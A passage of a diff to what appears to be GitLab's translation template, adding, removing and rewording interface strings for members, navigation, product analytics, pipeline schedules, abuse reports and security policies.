+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
